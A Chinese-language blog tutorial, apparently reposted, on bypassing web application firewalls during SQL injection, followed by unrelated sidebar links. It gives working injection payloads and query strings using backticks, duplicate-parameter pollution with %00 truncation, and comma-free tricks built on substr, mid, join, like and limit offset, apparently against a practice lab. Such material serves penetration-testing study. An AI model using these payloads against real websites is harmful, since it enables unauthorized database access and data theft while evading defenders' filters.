当前位置:网站首页>SQL 注入绕过(二)
SQL 注入绕过(二)
2022-06-28 00:17:00 【Aτθ】
一、反引号绕过
在 mysql 可以使用 `这里是反引号` 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1

二、脚本语言特性绕过
1、介绍
在 php 语言中,id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截。
id=1%00&id=2 union select 1,2,3
有些 waf 会去匹配第一个 id 参数1%00, %00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了程序中,id 就等于 id=2 union select 1,2,3 从绕过注入拦截。
其他语言特性

2、实操1


3、实操2
?name=vince%00&name=' union select 1,database()--+&submit=1

三、逗号绕过
目前有些防注入脚本都会逗号进行拦截,例如常规注入中必须包含逗号。
select * from users where id=1 union select 1,2,3,4;
一般会对逗号过滤成空,select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以,可以不使用逗号进行 SQL 注入。
绕过方法如下:
1、第一种方式:substr 截取字符串
查询当前库第一个字符:
select(substr(database() from 1 for 1));
查询 p 等于 select(substr(database() from 1 for 1)),页面返回正常。
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
可以进一步优化 m 换成 hex 0x6D,这样就避免了单引号。
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));

?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1


2、第二种方式:mid 截取字符串
这个 min 函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤可以使用这个函数代替。
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));

3、第三种方式: 使用 join 绕过
使用 join 自连接两个表:
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b,其中a 和 b 分别是表的别名。
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
这里也没有使用逗号,从而绕过 waf 对逗号的拦截。

4、第四种方式:like 绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1,否则返回 0
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串,最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。

5、第五种方式:limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目,limit 0,1 返回条一条记录。如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截。

边栏推荐
- 【嵌入式基础】串口通信
- TI AM3352/54/59 工业核心板硬件说明书
- 【sylixos】NEW_1 型字符驱动示例
- To understand what is synchronous, asynchronous, serial, parallel, concurrent, process, thread, and coroutine
- COSCon'22 讲师征集令
- 766. toplitz matrix
- PV操作原语
- Drug interaction prediction based on learning size adaptive molecular substructure
- Jenkins - 邮件通知 Email Notification 插件
- I/O限制进程与CPU限制进程
猜你喜欢

Lmsoc: a socially sensitive pre training method

【永艺XY椅】试用体验

766. 托普利茨矩阵

Adobe Premiere Basics - common video effects (corner positioning, mosaic, blur, sharpen, handwriting tools, effect control hierarchy) (16)

Numpy----np.tile()函数解析

Jenkins - Groovy Postbuild 插件丰富 Build History 信息

Database query optimization: master-slave read-write separation and common problems
![pytorch_ lightning. utilities. exceptions. MisconfigurationException: You requested GPUs: [1] But...](/img/b4/8921c3ca5cd5a547768489d4a79202.png)
pytorch_ lightning. utilities. exceptions. MisconfigurationException: You requested GPUs: [1] But...
![pytorch_lightning.utilities.exceptions.MisconfigurationException: You requested GPUs: [1] But...](/img/b4/8921c3ca5cd5a547768489d4a79202.png)
pytorch_lightning.utilities.exceptions.MisconfigurationException: You requested GPUs: [1] But...

Review of drug discovery-02-prediction of molecular properties
随机推荐
Adding text labels to cesium polygons the problem of polygon center point offset is solved
Cesium Click to draw polygons (dynamically draw polygons)
Cesium obtains the latitude and longitude range of the screen
766. toplitz matrix
205. 同构字符串
Differences between cesium polygon extrudedheight and height
指南针股票开户是会有什么风险吗?指南针开户安全吗
Numpy----np. reshape()
基于AM335X开发板 ARM Cortex-A8——Acontis EtherCAT主站开发案例
TIA botu_ Concrete method of making analog input and output Global Library Based on SCL language
Database query optimization: master-slave read-write separation and common problems
I/o limit process and CPU limit process
[embedded foundation] memory (cache, ram, ROM, flash)
Scoped attribute and lang attribute in style
How to study efficiently
fiddle如何使用代理
[Yocto RM] 4 - Source Directory Structure
Evaluation - rank sum ratio comprehensive evaluation
Google Earth engine (GEE) -- an error caused by the imagecollection (error) traversing the image collection
Cesium color color (assignment) random color